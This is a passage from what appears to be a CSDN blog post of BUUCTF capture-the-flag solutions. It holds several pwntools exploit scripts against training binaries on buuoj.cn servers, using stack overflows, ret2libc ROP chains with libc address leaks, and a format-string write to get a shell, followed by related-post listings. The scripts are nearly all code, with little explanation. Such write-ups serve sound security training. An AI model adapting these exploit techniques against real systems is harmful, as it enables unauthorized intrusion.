        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27137)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

padding = 0x18
shell = 0x000000000040072A


sl('-1')
payload = b'a' * 0x18 + p64(shell)
rl('name?')
sl(payload)



inter()

jarvisoj_fm

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25877)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

payload = fmtstr_payload(11,{0x0804A02C:0x4})
sl(payload)
inter()

bjdctf_2020_babyrop

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./babyrop')
p = remote('node5.buuoj.cn', 25910)
elf = ELF('./babyrop')
#libc = ELF('./libc')


'''
============================================================
0x000000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400730 : pop r14 ; pop r15 ; ret
0x0000000000400732 : pop r15 ; ret
0x000000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400590 : pop rbp ; ret
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
0x000000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004c9 : ret
'''

padding = 0x28

pop_rdi = 0x0000000000400733
ret = 0x00000000004004c9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']


payload = b'a' * padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)

puts_addr = l64()
lg('puts_addr',puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

lg('libc_base',libc_base)
lg('system',system)
lg('binsh',binsh)


rl('story!')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)



inter()

jarvisoj_tell_me_something

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25064)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

padding = 0x88
shell = 0x0000000000400620
payload = b'a' * padding + p64(shell)
sl(payload)
inter()




#https://blog.csdn.net/m0_46363249/article/details/115270147

[HarekazeCTF2019]baby_rop2

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27104)
elf = ELF('./babyrop2')
#libc = ELF('./libc')

'''
============================================================
0x000000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400730 : pop r14 ; pop r15 ; ret
0x0000000000400732 : pop r15 ; ret
0x000000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop rbp ; ret
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
0x000000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004d1 : ret
0x0000000000400532 : ret 0x200a
'''

padding = 0x28

pop_rdi = 0x0000000000400733
ret = 0x00000000004004d1

read_got = elf.got['read']
printf_sym = elf.sym['printf']
main = elf.sym['main']



rl('name?')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(read_got) + p64(printf_sym) + p64(ret) + p64(main)
sl(payload)

read_addr = l64()
lg('read_addr', read_addr)


libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

lg('libc_base',libc_base)
lg('system',system)
lg('binsh',binsh)



rl('name?')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)


inter()
Abiu～
关注
  • 3
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
buuctf pwn刷题（1）
清霂的博客
01-30 1182
目录1.test_your_nc2.pwn13.warmup_csaw_2016 1.test_your_nc 先用exeinfo查壳，是64位的程序 用64位ida静态分析一下，找到main函数 F5反汇编，看到system("/bin/sh") system()的作用———执行shell命令也就是向dos发送一条指令。 即执行/bin/sh命令，获得shell权限 用虚拟机连node3.buuoj.cn:27191 nc node3.buuoj.cn 27191 查看文件目录 ls 查看flag
BUUCTF-pwn2_sctf_2016
weixin_44145820的博客
03-06 979
这题利用的是负数转无符号数造成缓冲区溢出，以及泄露libc基地址执行ROP 题目分析 由于NX开启，我们考虑使用ROP，Canary没有打开使得这题变得很方便 下面是vuln函数： 在该函数中，程序读入一个字符串并转化为带符号整形（signed int），这时，如果我们输入负数可以避开不能大于32的检查 在get_n函数中，读入长度被强制转换为unsigned int，此时-1变成了42949...
BUUCTF PWN-----第1题:test_your_nc
热门推荐
bing_Max的博客
08-27 1万+
buuoj-----第四题:ciscn_2019_n_1 前言 简单记录一下pwn的过程 首先checkesc ,检测文件的保护机制. 参考链接: link. 参考链接: link. bing@bing-virtual-machine:~/pwn$ checksec test [*] '/home/bing/pwn/test' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found
BUUCTF PWN（1）
qq_60794823的博客
09-27 1034
首先checksec起手发现没有打开任何防护，是64位amd文件，使用IDA反汇编瞅一瞅首先shift+f12查看字串发现/bin/sh和system跟进查看/bin/sh的返回地址查看main函数的反编译代码发现**gets(s, argv)**栈溢出漏洞，没有限制s的输入大小点开s查看s的内存大小发现距离返回地址为0XF+0X8构造payload：‘a’ * 0x23 + p64(0x401186)发现连接超时。
BUUCTF刷题之路-pwn1_sctf_20161
qq_30528603的博客
05-27 462
从我们的运行结果看，会把用户输入的I换成you。那就是说会自动帮我们把1字节变3字节，我们可以利用填充I来让程序自动填充到返回地址前。s距离ebp是0x3c也就是60个字节，那么我们填充20个I再加4个字节填充接着拼接我们的后门地址。但是新的问题产生了，fgets函数较gets函数安全一点，他有长度限制，我们看到s离ebp的距离有0x3c那么远，但是fgets只能输入32个字节，只通过fgets溢出覆盖不到返回地址。看到有个fgets函数，并且限制长度为32。这是一个32位的程序，只开启了NX保护。
持续更新 BUUCTF——PWN（一）
weixin_41748164的博客
08-13 1112
buuctf pwn
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举，支持功能和开发模块，同时将所有这些都打包在命令行界面中，并且易于使用和可扩展的类贝壳环境。 作者 功能支持 Credential ...
BUUCTF-Pwn-[第五空间2019 决赛]PWN5
餐桌上的猫
02-15 372
题目截图 检查文件信息 这是一个32位的程序，开启了NX和Canary 用IDA打开查看找到来能getshell的代码 反汇编查看主函数功能，程序将我们输入的passwd与存放在804c044地址的数进行比较，正确就可以getshell了，红框中存在格式化字符串漏洞，我们可以利用该漏洞重写804c044地址处的数据来getshell 测试我们输入的内容在栈中的位置，是第10个 exp from pwn import* r=remote('node4.buuoj.cn',28850) addr=
BUUCTF-PWN刷题记录-22
weixin_44145820的博客
05-18 679
目录ciscn_2019_n_2（double free） ciscn_2019_n_2（double free） delete的时候有一个double free漏洞 利用思路： 先用一个double free把0x602060（chunklist）申请出来，这样我们就能先修改里面的指针了，先利用GOT表泄露libc,然后写入__free_hook的地址并使用编辑写入system地址就行 Exp: from pwn import * menu = "Your choice: " def add(con
BUUCTF pwn
qq_40026795的博客
06-20 701
test_your_nc 丢进ida可以看到只有一个后门函数 使用nc 网址 端口连接反弹shell 或者使用pwntools连接 frompwnimport* p=remote('网址',端口) p.interactive() rip 一、载入ida 载入ida可以看到主要有两个函数，main()和fun() 使用f5产生类C代码 int__cdeclmain(inta...
BUUCTF PWN方向 1-6题 详解wp
最新发布
qq_62564422的博客
02-06 1614
构造payload：变量声明后顺序入栈，每个标识表示变量所占栈空间底部，s为输入的变量，则其需要覆盖的长度为0X3C~0X00(0X3C字节)，0X00处表示返回地址值(4字节)需要覆盖；返回地址的数据（8字节）（被垃圾数 据覆盖后则改为访问之后地址）+（返回地址 地址数+1）（远程端使用了ubuntu18，ubuntu18以上版本调用64位程序中的system函数需要栈对齐，在执行system时有一个指令需要栈对齐 ，所以地址+1）而且这个空间是连续的，v1之后就是v2，他们的内存块是接在一起的。
Buuctf pwn1 详细wp
anxiong1803的博客
09-19 2588
目录 程序基本信息 程序溢出点 确定返回地址 编写exp脚本 成功getshell 程序基本信息 我们可以看到这是一个64程序，没有保护开启。 程序溢出点 gets函数可以读取无限字符，存在栈溢出。 接下来我们测测需要多少字符长度可以溢出...
buuctf中的一些pwn题总结（不断更新）
PLpa的博客
08-19 4553
前言： 本文记录一些buuctf中不是很典型，但是仍然值得记录的pwn题，以便于查看。 0x00:stkof——unlink 查看保护 查看IDA伪代码 增 自定义size，使用malloc分配。 删 free之后直接置空，难以利用。 改 重点来到改中，这里可以随意输入大小，然后根据输入的大小来为堆块中填入数据。这样就造成了堆溢出漏洞。 解题思路 由于此题存在堆溢出漏洞，我们又掌控着heap地址的存在位置，这样我们很容易就想到unlink漏洞来控制堆块。 由于程序本身的原因，我们先malloc一个堆
BUUCTF PWN部分题目wp
awxnutpgs545144602的博客
08-16 2016
pwn好难啊 PWN 1，连上就有flag的pwnnc buuoj.cn 6000得到flag 2，RIP覆盖一下用ida分析一下，发现已有了system，只需覆盖RIP为fun（）的地址，用peda计算偏移为23，写脚本 from pwn import* sh=remote('f.b...
BUUCTF PWN题刷题记录 (未完待续)
qq_41071646的博客
08-01 2015
最近找了一个新的CTF比赛平台 但是不知道为啥pwn的服务器总是连不上， 所以到时候还是直接本地打 默认2.23 so 如果 有高版本的话 我再切换，，， 逆向的话 先等等吧，，，先不刷。。等有空了再刷 第一题 连上就有flag的pwn 直接 运行就有权限，。 第二题 RIP覆盖一下 这个没有任何保护 直接 覆盖rip就可以了 from pwn import * conte...
BUUCTF-PWN刷题记录-16
weixin_44145820的博客
05-05 798
目录ciscn_2019_es_5（realloc double free）npuctf_2020_easyheap（off-by-one） ciscn_2019_es_5（realloc double free） 申请没有大小限制，数目上限为10 edit会调用realloc重新申请（其实不会的，因为大小不变） 如果edit就不能show了 看了一下这题没有什么明显漏洞，但是考虑到re...
buuctf pwn wp（第一波）无脑AAAA系列
月阴荒的博客
03-20 1014
这里是一个总的分类，一个类型的第一道题目会详细介绍，后面的类型相同的会简略介绍（不过这是第一波，都是最简单的，原理可以看我前面的文章，后面难一点的题目我再讲原理。） 这一波题都是无脑AAAA的类型，它们的区别主要就是打入多少个填充字符A的区别，（还有接受到什么字符串的区别），反正都是最简单的一类题。 另外声明，脚本有些来自于网络上，但是我做了有一会儿了（这篇文章是我把当初做了时的记录素材拿过来做的...
buuctf pwn 第五空间决赛pwn5
09-28
buuctf pwn 第五空间决赛pwn5是一个CTF pwn题，它涉及到格式化字符串漏洞。格式化字符串漏洞是一种常见的安全漏洞，利用这个漏洞可以读取或修改程序的内存中的数据，从而导致程序行为异常或者攻击者获取敏感信息。在...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值